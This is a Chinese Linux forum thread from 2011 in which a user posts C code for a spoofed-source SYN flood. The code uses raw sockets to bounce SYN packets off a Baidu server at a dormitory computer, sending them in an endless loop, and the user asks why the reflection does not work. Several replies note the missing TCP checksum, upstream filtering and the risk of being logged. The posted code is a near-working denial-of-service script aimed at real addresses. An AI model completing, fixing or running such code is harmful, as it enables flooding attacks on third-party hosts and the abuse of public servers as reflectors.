免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3455 | 回复: 7
打印 上一主题 下一主题

linux SYN洪水问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2011-03-29 20:59 |只看该作者 |倒序浏览
//这个是我照书本上写的,我想弄成反射,为什么不可以阿~!
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <sys/socket.h>
  4. #include <sys/types.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/tcp.h>
  8. #include <arpa/inet.h>
  9. #include <stdlib.h>
  10. #include <string.h>

  11. #define DESTPORT 80  /*目的端口,定义要攻击的端口,80为web服务器*/
  12. #define MYPORT 8888  /*自己的端口*/

  13. int main(int argc,char *argv[])
  14. {

  15.   int sockfd;
  16.   struct sockaddr_in servaddr;
  17.   int on;
  18.   on = 1;

  19.   bzero(&servaddr,sizeof(struct sockaddr_in));
  20.   servaddr.sin_family  = AF_INET;
  21.   servaddr.sin_port    = htons(DESTPORT);
  22.   inet_aton("119.75.217.45",&servaddr.sin_addr);
  23.   sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP); /*创建一个TCP原始套接字*/

  24.   if(sockfd < 0){
  25.     puts("连接错误");  
  26.     exit(1);
  27.   }
  28.   setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
  29.   setuid(getuid());
  30.   
  31.   char buffer[100];
  32.   struct ip *iph = (struct ip*)buffer;
  33.   struct tcphdr *tcp;
  34.   
  35.   memset(buffer,0,100);

  36.   /****开始填充ip数据报的头部**/  
  37.   iph->ip_v   = IPVERSION; //ipv4
  38.   iph->ip_hl  = sizeof(struct ip)>>2; //ip数据报的头部长度
  39.   iph->ip_tos = 0; //服务类型
  40.   iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 + 6 + 6; //ip数据报的长度
  41.   iph->ip_id  = 0; //由内核填写
  42.   iph->ip_off = 0; //由内核填写
  43.   iph->ip_ttl = MAXTTL; //最长的时间 255
  44.   iph->ip_p   = IPPROTO_TCP;   //传输层协议为TCP
  45.   iph->ip_sum = 0;   //有内核填写检验和
  46.   //OLD WAY iph->ip_src.s_servaddr = inet_servaddr (src_ip);/* source ip  */  //反射攻击
  47.   inet_pton (AF_INET,"219.151.204.68", &(iph->ip_src)); //被攻击对方(我们寝室的电脑)
  48.   iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;//百度服务器

  49.   /****开始填充TCP数据报*****/
  50.   tcp          = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
  51.   tcp->source  = htons(MYPORT);        //源端口
  52.   tcp->dest    = servaddr.sin_port;  //目的端口
  53.   tcp->seq     = random();           //随机产生序列号
  54.   tcp->ack_seq = 0;
  55.   tcp->doff    = 5;
  56.   tcp->syn     = 1;                  /*表示SYN数据报*/
  57.   tcp->check   = 0;
  58.   
  59.   puts("正在攻击中...");
  60.   /*循环发送攻击包*/
  61.   while(1){
  62.      //printf("被攻击方(219.151.204.68):正在被%d攻击中\n",servaddr.sin_addr.s_addr);
  63.      sendto(sockfd,buffer,iph->ip_len,0,(struct sockaddr*)&servaddr,sizeof(struct sockaddr_in)); /*发送攻击数据报*/
  64.   }
  65.   return 0;
  66. }
复制代码
//谢谢各位帮我分析一下.
//我是的目的  是想利用 百度的服务器来攻击我同宿舍的电脑(经过同意的)!
//可是不行,帮我看看,分析一下,多谢了~!

论坛徽章:
0
2 [报告]
发表于 2011-03-30 09:29 |只看该作者
本帖最后由 雨夜流星 于 2011-03-30 10:34 编辑

.。。。。。。
你的TCP校验在什么地方?
TCP包需要你自己校验的

论坛徽章:
0
3 [报告]
发表于 2011-03-30 09:42 |只看该作者
另外你想的也太简单了,像百度这种大的网站,都会有多层大型防火墙设备的,你的syn攻击不会有效的,要么引向黑洞,要么直接丢弃了,倒是你自己,别被人家记录下日志,找你麻烦。

论坛徽章:
0
4 [报告]
发表于 2011-03-30 15:10 |只看该作者
回复 3# 雨夜流星

我弄的是反射,不是洪水,

我是 发送  虚假的包,  源IP 是别人的, 目的IP是 百度的,     百度收到包后就去和  别人的IP连接. 我是攻击别人的电脑,不是百度,  怕怕! 我那里敢攻击百度阿~! 只是借助百度来攻击别人~!~!~

论坛徽章:
0
5 [报告]
发表于 2011-03-30 15:53 |只看该作者
本帖最后由 雨夜流星 于 2011-03-30 17:06 编辑

回复 4# z85525006


    你的包都是错的,网卡会丢弃的。。。。
跟本发不出去

你的TCP包不完整,没有校验

论坛徽章:
0
6 [报告]
发表于 2011-03-30 16:19 |只看该作者
百度没有那么傻的,你这样的包都是会被直接丢弃的,
还有syn flood攻击没有人用真实IP的。用真实IP那是自找麻烦

论坛徽章:
2
技术图书徽章
日期:2013-09-04 15:21:51酉鸡
日期:2013-11-01 21:20:20
7 [报告]
发表于 2011-03-31 17:25 |只看该作者
没有握手成功的包会被安全层滤掉的。如果你的方法可行,那百度岂不成了最大的镜子,百度的运维早就下岗了。

论坛徽章:
0
8 [报告]
发表于 2011-04-01 01:11 |只看该作者
若以 PPP 的方式接入,BRAS 端可能直接丢弃伪造的包。你自己在内网绑一个 IP 用来测试就行了。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP